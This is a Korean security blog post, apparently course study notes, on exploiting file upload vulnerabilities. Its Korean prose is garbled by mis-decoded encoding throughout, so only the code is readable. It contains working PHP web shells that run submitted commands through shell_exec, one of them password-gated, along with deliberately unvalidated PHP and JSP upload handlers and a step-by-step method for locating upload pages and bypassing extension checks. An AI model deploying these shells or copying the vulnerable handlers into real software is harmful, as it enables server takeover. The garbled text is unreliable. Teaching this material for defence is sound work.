νμΌ μ λ‘λ μ·¨μ½μ
- -
νμΌ λ€μ΄λ‘λ μ·¨μ½μ
μ μμ μΈ νμΌμ λ€μ΄λ°λκ² μλ λΉμ μμ μΈ νμΌμ λ€μ΄λ°λκ²
μ μ vs λΉμ μ
νμΌ μ λ‘λ μ·¨μ½μ
μ μμ μΈ νμΌμ μ λ‘λ νλκ² μλλΌ λΉμ μμ μΈ νμΌμ μ λ‘λλ₯Ό ν΄μ λ€νΈμν¬ λ° μλ² μ 체λ₯Ό μ₯μ
Web Shellμ΄λ μλλ ?
WAF / Web Shell Moniteringμ΄λΌλ μΉ μ μ μ© λ°©νλ²½μ νμ§
μ΄λμ λ νμΌ μ λ‘λ μ·¨μ½μ μ νκ³μ μ΄ λ³΄μΈλ€
μΉ νμ΄μ§λ₯Ό ν΅ν΄ μ λͺ λ Ήμ΄λ₯Ό μνν μ μλ λꡬ
PHP,JSP > Server Side Script μΈμ΄λ‘ μμ±
1μ°¨μ μΌλ‘ DBμ 보 νλ, λ΄λΆμμ€ν , λ€νΈμν¬μ λν μ 보λ νλ
2μ°¨μ μΌλ‘ λ΄λΆλ§ μΉ¨μ
3μ°¨μ μΌλ‘ μ€νΌμ€λ§κΉμ§ μΉ¨μ κ°λ₯μ±μ΄ μμ
0μμλ‘ μ κ²μ ν΄λ³΄λ κ²μ΄ νμΌ λ€μ΄λ‘λ μ·¨μ½μ
1μμ μ κ²μ ν΄λ³΄λ κ²μ΄ νμΌ μ λ‘λ μ·¨μ½μ
2μμκ° SQL Injection
곡격 μ리
1. νμΌ λ€μ΄λ‘λ μ·¨μ½μ μ ν΅ν΄μ μ νν μ λ‘λ λλ κ²½λ‘λ₯Ό νμ
2. λΉμ μμ μΈ νμΌ(Web Shell)μ μ λ‘λλ₯Ό νλ€.
3. νμΌ λ€μ΄λ‘λ μ·¨μ½μ μ ν΅ν΄μ μ°Ύμ κ²½λ‘μ μ λ‘λν μΉ μ μ μ‘°ν©νμ¬ μ€ννλ€.
4. μ κ·Ό κΆνμ λμ΄κ±°λ λ€μν 곡격μ μ€ννλ€.
μΉ μ΄ν리μΌμ΄μ (μ λ‘λκΈ°λ₯)μ μ¬μ©ν΄μ μ λ‘λ μ·¨μ½μ μ΄μ©
μ μ μΉμ λν κΈ°λ₯ μλ°©ν₯ μν΅μ΄ λμ κ±°μ λλΆλΆμ μΉλ€μ μ λ‘λ κΈ°λ₯ νμ
μ λ‘λ κΈ°λ₯κ³Ό λ€μ΄λ‘λ κΈ°λ₯μ΄ ν¨κ» μ‘΄μ¬νλ€
λ€λ§ μμΈμ μΌλ‘ μ΄λ―Έμ§ μ μΈ ( URL μ£Όμλ₯Ό μ¬λ¦¬λ κ±°κΈ° λλ¬Έμ λ€μ΄λ‘λ κΈ°λ₯μ΄ μμ μ μλ€ )
λ€μ΄λ‘λ / μ λ‘λ κΈ°λ₯μ νλ νμ΄μ§λ€μ ν¬κ² 2κ°μ§λ‘ ꡬλΆ
νλ©΄λ§ λ³΄μ¬μ£Όλ νΌ νμ΄μ§ / μ€μ μ μΌλ‘ κΈ°λ₯μ νλ κΈ°λ₯ νμ΄μ§
μΉ μ Έ κ°μ κ²½μ° μμ€ν ν¨μ
μμ€ν ν¨μλ μΉ κ°λ°μμ νΈμλ₯Ό μν΄μ μ¬μ©λλ κΈ°λ₯ > μμ§λ μ μ¬μ©λκ³ μμ
μ λ‘λ 곡격μ ν λ μ£Όμ μ¬ν
1. λ°λ‘ μΉ μ μ μ λ‘λ νμ§ λ§κ³ μ ν νμΌλ‘ ν μ€νΈλ₯Ό μ§ν ν΄λΌ
# μμ
<?
echo "test";
?>
2. μ μΆνκΈ° μ΄λ €μ΄ μΉ μ νμΌλͺ μ μ¬μ©ν΄λΌ
3. μ κ·Ό μ μ΄ μ€μ μ λ°λμ μ€μ ν΄λΌ
4. κ²μ¦λ μμ ν μΉμ μ μ¬μ©ν΄λΌ
5. λ°λμ μ§λ¨μ λ§μΉλ€λ©΄ κΌ μ¬μ©νλ μΉμ μ μμ ν΄λΌ
μ λ‘λ νκ²½ ꡬμΆ
<?php
//form page
header("Content-Type: text/html; charset=UTF-8");
?>
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="userfile">
<input type="submit" value="Upload">
</form>
<?php
//action page
header("Content-Type: text/html; charset=UTF-8");
if(empty($_FILES["userfile"]["name"])){
echo "<script>alert('νμΌμ μ
λ‘λ νμΈμ'); history.back(-1)</script>";
exit();
}
$path = "./upload/";
$filename = $_FILES["userfile"]["name"];
if(!move_uploaded_file($_FILES["userfile"]["tmp_name"],$path.$filename)){
echo "<script>alert('νμΌ μ
λ‘λμ μ€ν¨νμμ΅λλ€.'); history.back(-1)</script>";
exit();
}
?>
<li>μ
λ‘λ μ±κ³΅νμ΅λλ€ . μ
λ‘λ κ²½λ‘λ <?=$path.$filename?></li>
-- λΌμ΄λΈλ¬λ¦¬
cos.jar : μλ Spring
commons-fileupload.jar : νμ¬ μ¬μ©μ€μΈ Spring
# index.jsp
<%@ page language="java" contentType="text/html charset=UTF-8" %>
<form action="upload.jsp" method="POST" enctype="multipart/form-data">
<input type="file" name="Userfile">
<input type="submit" value="Upload">
</form>
# upload.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" %>
<%@ page import="com.oreilly.servlet.MultipartRequest"%>
<%
String path = request.getRealPath("upload_vuln/upload");
MultipartRequest multi = new MultipartRequest(request, path, 1024*10, "UTF-8");
String filename = path + "/" + multi.getFilesystemName("userfile");
%>
<li> μ
λ‘λλ₯Ό μ±κ³΅νμ΅λλ€ μ
λ‘λ κ²½λ‘λ : <%=filename%></li>
web shell λ§λ€κΈ°
<?php
$cmd = $_GET["cmd"];
$result = shell_exec($cmd);
$result = str_replace("\n","<br>",$result);
echo $result;
?>
<?php
$page = $_SERVER["PHP_SELF"];
$cmd = $_POST["cmd"];
$result = shell_exec($cmd);
$result = str_replace("\n","<br>",$result);
?>
<form action="<?=$page?>" method="POST">
<input type="text" name="cmd">
<input type="submit" value="execute">
</form>
<?=$result?>
# ν΄λΉ κ²°κ³Ό κΎΈλ―ΈκΈ°
<?php
$page = $_SERVER["PHP_SELF"];
$cmd = $_POST["cmd"];
if(!empty($cmd)){
$result = shell_exec($cmd);
$result = str_replace("\n","<br>",$result);
}
?>
<form action="<?=$page?>" method="POST">
<input type="text" name="cmd">
<input type="submit" value="execute">
</form>
<table style="border:1px solid black; background-color:black">
<tr>
<td style="color: white; font-size: 12px"><?=$result?></td>
</tr>
</table>
μ κ·Ό μ μ΄
<?php
@session_start();
$password = "kitri1234!";
$input_password = $_POST["password"];
$page = $_SERVER["PHP_SELF"];
$cmd = $_POST["cmd"];
# μΈμ¦ κΈ°λ₯ μΆκ°
if(empty($_SESSION["webshell_id"]) && empty($input_password)){
?>
<form action="<?=$page?>" method="POST">
<input type="text" name="password">
<input type="submit" value="AUTH">
</form>
<?php
exit();
}else if(empty($_SESSION["webshell_id"]) && !empty($input_password)){
if($password == $input_password){
$_SESSION["webshell_id"] = "kitri";
echo "<script>location.reload(true)</script>";
exiT();
}else{
echo"<script>location.reload(true);</script>";
exit();
}
}
if(!empty($cmd)){
$result = shell_exec($cmd);
$result = str_replace("\n","<br>",$result);
}
?>
<form action="<?=$page?>" method="POST">
<input type="text" name="cmd">
<input type="submit" value="execute">
</form>
<table style="border:1px solid black; background-color:black">
<tr>
<td style="color: white; font-size: 12px"><?=$result?></td>
</tr>
</table>
νμΌ μ λ‘λ 곡격 νλ‘μΈμ€
1. 곡격 λμ νμ
2. νκ²½ λΆμ
3. κΈ°λ³Έ λ‘μ§ λΆμ
Y -> 곡격μ μ±κ³΅
N -> μ¬ν λ‘μ§ λΆμ
4. μ¬ν λ‘μ§ λΆμ
Y -> 곡격μ μ±κ³΅
N -> μ€ν¨
1. 곡격 λμ νμ
μ μμ μΈ μ κ·Ό λ°©λ²
κ²μν/μ΄λ ₯μ/μ΄λ―Έμ§ μ λ‘λ/λμμ μ λ‘λ
μ λ‘λ νΌ νμ΄μ§λ₯Ό λ°λΌμ μ λ‘λ κΈ°λ₯ νμ΄μ§λ₯Ό μ°Ύλ λ°©λ²
2. λΉμ μμ μΈ μ κ·Ό λ°©λ²
** 1) μΉ νμ΄μ§ λ΄ μ λ‘λ κ΄λ ¨ μ½λ μ°ΎκΈ°
λΈλλ°μ€ λͺ¨μ ν΄νΉ μμ£Ό μ¬μ©
μλ°μ€ν¬λ¦½νΈμ μ¬μ©μ΄ λμ΄λλ©΄μ μ€μ μ 보λ€μ΄ λ€μ΄κ° μλ κ²½μ°λ₯Ό λ³Ό μ μλ€
** 2) νμΌ λ€μ΄λ‘λ μ·¨μ½μ μ ν΅ν μ κ·Ό
νμΌ λ€μ΄λ‘λ μ·¨μ½μ μ ν΅ν΄μ μμ€μ½λ λ° μ 보λ€μ μμ§ν λ€μ μ λ‘λ κΈ°λ₯μ νλ νμ΄μ§λ₯Ό μ°Ύλλ€
3) WAS κ΄λ¦¬μ μ½μ λ° κ΄λ¦¬μ νμ΄μ§ μ κ·Ό
www.test.co.kr/manager
www.test.co.kr/admin
www.test.co.kr/owner
4) μ κ·Ό κΆνμ΄ μλ μ λ‘λμ νΌ νμ΄μ§ μ κ·Ό
곡μ§μ¬νμ κΆνμ κ°μ§ μ¬λλ§ κΈ μμ±μ΄ κ°λ₯
κΈ μμ±μ μν μ΄λ―Έμ§ μ λ‘λ/λμμ μ λ‘λ κΈ°λ₯ ν¬ν¨ λΌμμ κ°λ₯μ±μ΄ λμ
κΈ°λ₯ νμ΄μ§λ₯Ό 보λκ²λ λΉμ μμ μΈ λ°©λ² μ€ νλ
5) κ΅¬κΈ κ²μμ ν΅ν μ λ‘λ νμ΄μ§ μ κ·Ό
6) μ μΆλ₯Ό ν΅ν μ κ·Ό
- boardList.do
- boardWrite.do
- boardAction.do
- boardCreate.do
- boardRegster.do
- boardReg.do
2. νκ²½ λΆμ
μ΄μ체μ λΆμ
μλμ° vs 리λ μ€/μ λμ€ > λμλ¬Έμ μ¬μ© μ 무
μλμ° : μ£Όμμ°½μμ λλ¬Έμλ‘ λ³κ²½μ ν΄λ λ¬Έμ κ° μλ€
리λ μ€/μ λμ€ : μ£Όμμ°½μμ λλ¬Έμλ‘ λ³κ²½ μ μλ¬κ° λ°μ
μ¬μ© μΈμ΄ λΆμ
- νμ₯μ : .php .jsp .asp .do
- μλ΅ ν€λ : Microsoft-IIS λ²μ / APACHE λ²μ
- μλ¬ νμ΄μ§ : APACHE μλ² μλ¬ , Tomcat μλ¬νμ΄μ§ , WebSphere μλ¬νμ΄μ§
κΈ°λ³Έ λ‘μ§ λΆμ
- μ λ‘λ μλ
> κ²½λ‘κ° νμ μ΄ λλκ° ? : Y/N
> κ²μ¦ λ‘μ§μ΄ μ‘΄μ¬νλκ° ? : Y/N
μ±κ³΅ κΈ°μ€
κ²½λ‘κ° νμ μ΄ λκ³ Y κ²μ¦ λ‘μ§μ΄ μ‘΄μ¬νμ§ μμ λ N
μ€ν¨ κΈ°μ€
κ²½λ‘κ° νμ μ΄ λκ³ Y κ²μ¦ λ‘μ§λ μ‘΄μ¬ Y
κ²½λ‘κ° νμ μ΄ μλκ³ N κ²μ¦ λ‘μ§μ΄ μ‘΄μ¬ Y
κ²½λ‘λ νμ μ΄ μλκ³ N κ²μ¦ λ‘μ§λ μ‘΄μ¬νμ§ μλλ€N
μ€ν¨ ν κ²½μ° λ°λ‘ μ¬ν λ‘μ§ λΆμμΌλ‘ μ΄λ
μ λ‘λ μ νμΌ μ λ‘λ μμ
1. μ μμ μΈ νμΌλ€μ μ λ‘λλ₯Ό ν΄λ³Έλ€ ( jpg, txt, hwp, gif, mp4 ) - νμ©, νΉμ 쑰건μ μν΄μ νμ©λμ§ μλ κ²½μ°
2. ν μ€νΈ νμΌ - testλ₯Ό μΆλ ₯ν μ μλ κΈ°λ₯ νμ΄μ§λ₯Ό ꡬν
- ν μ€νΈ νμΌμ΄ μ μμ μΌλ‘ μΆλ ₯μ΄ λ κ²½μ° μΉ μ μ μ λ‘λ νλ€
# μμ
# php κΈ°μ€
<?
echo "test";
?>
# jsp κΈ°μ€
<%
out.println("test");
%>
# asp κΈ°μ€
<%
Response.Write("test");
%>
κΈ°λ³Έ λ‘μ§ λΆμμμ μ€ν¨ ν κ²½μ° μ¬ν λ‘μ§ νλ‘μΈμ€ ( κ²μ¦λ‘μ§ O , κ²½λ‘ νμ X )
1-1. κ²μ¦ λ‘μ§μ νμ ( Y or N )
2-1. κ²μ¦ λ‘μ§μ΄ μ‘΄μ¬ν κ²½μ° κ²μ¦ λ‘μ§μ νμ
3-1. μ°ν κΈ°λ² μ μ©
4-1. μ°νκ° μλ κ²½μ° λ
1-2. μ°νκ° μ±κ³΅νμ κ²½μ°
2-2. μ λ‘λ κ²½λ‘λ₯Ό νμ
3-2. μ λ‘λ κ²½λ‘λ₯Ό λ³μ‘°
4-2. μ λ‘λ κ²½λ‘ λ³μ‘°κ° μλ κ²½μ° λ
κ²μ¦λ‘μ§μ μ ν
1. νμ₯μ κ²μ¦
λ°©μ | μ₯μ | λ¨μ | κΈ°λ₯ |
λΈλ 리μ€νΈ | λ€μν μ’ λ₯ νμΌ μ λ‘λ κ°λ₯ | λ€μν μ°ν κΈ°λ² μ‘΄μ¬ | κ²μν, λ©μΌ |
νμ΄νΈ 리μ€νΈ | μ°ν κ°λ₯μ±μ΄ ν¬κ² μ ν | μ λ‘λμ μ ν | μ΄λ ₯μ μ¬μ§ |
2. μ΄λ―Έμ§ κ²μ¦
ContentType = "text/html"
3. νμΌ μ¬μ΄μ¦ κ²μ¦
4Mbyte μ΄νλ‘ μ λ‘λ νμΈμ
Webshell.jsp νμΌ μ λ‘λ νμ λ
1. νμ₯μλ₯Ό νμ±
pythonμμ :4(λ€μμ 4κΈμλ§ νμ±) > .png .jpg .txt > νμ₯μ κ²μ¦μ μ€μν΄μ λ£°μ κ·Όκ±°νμ¬ νμ© λ° μ°¨λ¨
( λΈλ리μ€νΈ , νμ΄νΈλ¦¬μ€νΈ )
νμ₯μ κ²μ¦ λ‘μ§ μ°ν κΈ°λ²
1. κ²μ¦λμ§ μλ νμ₯μ μ¬μ©
2. νμ₯μ κ²μ¦ λ‘μ§ μ€κ³ μ€λ₯μ μν 보μ κ²°ν¨ μ μ©
3. Null byte μ¬μ©
4. WAS μ·¨μ½μ μ΄μ©
μΈμ΄ κ΅¬μ± λ°©μ
JAVA : jsp, jspx, jspf, jsc, jsw, do ...
ASP : asp, asa, cer, cdx ...
ASPX : aspx, asax, asmx, soap ...
PHP : php, php3, php4, php5, html, phtml ...
λΈλ리μ€νΈ κΈ°λ²
<?php
//action page
header("Content-Type: text/html; charset=UTF-8");
if(empty($_FILES["userfile"]["name"])){
echo "<script>alert('νμΌμ μ
λ‘λ νμΈμ'); history.back(-1)</script>";
exit();
}
$path = "./upload/";
$filename = $_FILES["userfile"]["name"];
// κ²μ¦ λ‘μ§
$file_info = pathinfo($path.$filename);
// upload_vuln/upload/test.php
$ext = strtolower($file_info["extension"]); //νμΌ νμ₯μλ₯Ό μ λΆ μλ¬Έμλ‘ λ³κ²½
// upload_vuln upload test.php
$ext_arr = array("php","php3","php4","html","htm");
if(in_array($ext, $ext_arr)){
echo "<script>alert('νμ©λμ§ μμ νμ₯μ μ
λλ€'); history.back(-1); </script>";
exit();
}
if(!move_uploaded_file($_FILES["userfile"]["tmp_name"],$path.$filename)){
echo "<script>alert('νμΌ μ
λ‘λμ μ€ν¨νμμ΅λλ€.'); history.back(-1)</script>";
exit();
}
?>
<li>μ
λ‘λ μ±κ³΅νμ΅λλ€ . μ
λ‘λ κ²½λ‘λ <?=$path.$filename?></li>
νμ΄νΈ 리μ€νΈ κΈ°λ²
<?php
//action page
header("Content-Type: text/html; charset=UTF-8");
if(empty($_FILES["userfile"]["name"])){
echo "<script>alert('νμΌμ μ
λ‘λ νμΈμ'); history.back(-1)</script>";
exit();
}
$path = "./upload/";
$filename = $_FILES["userfile"]["name"];
// κ²μ¦ λ‘μ§
$file_info = pathinfo($path.$filename);
// upload_vuln/upload/test.php
$ext = strtolower($file_info["extension"]); //νμΌ νμ₯μλ₯Ό μ λΆ μλ¬Έμλ‘ λ³κ²½
// upload_vuln upload test.php
// νμ© ν νμ₯μ μ€μ
$ext_arr = array("txt","jpg","gif","jpeg");
// λ§μ½ extμ extarrμ λ€μ΄μμ§ μμ νμ₯μλΌλ©΄
if(!in_array($ext, $ext_arr)){
echo "<script>alert('νμ©λμ§ μμ νμ₯μ μ
λλ€'); history.back(-1); </script>";
exit();
}
if(!move_uploaded_file($_FILES["userfile"]["tmp_name"],$path.$filename)){
echo "<script>alert('νμΌ μ
λ‘λμ μ€ν¨νμμ΅λλ€.'); history.back(-1)</script>";
exit();
}
?>
<li>μ
λ‘λ μ±κ³΅νμ΅λλ€ . μ
λ‘λ κ²½λ‘λ <?=$path.$filename?></li>
'π Secure' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
μ£Όμμ 보ν΅μ κΈ°λ°μμ€ WEB-02 ν¬λ§· μ€νΈλ§ (0) | 2022.09.02 |
---|---|
μ£Όμμ 보ν΅μ κΈ°λ°μμ€ WEB-01 λ²νΌ μ€λ²νλ‘μ° (0) | 2022.09.02 |
ν¬νΈν΄λ¦¬μ€ (0) | 2022.07.19 |
file download μ¬ν 곡격 (0) | 2022.07.19 |
νμΌ λ€μ΄λ‘λ 곡격μ μν νλ‘μΈμ€ (0) | 2022.07.18 |
μμ€ν κ³΅κ° κ°μ¬ν©λλ€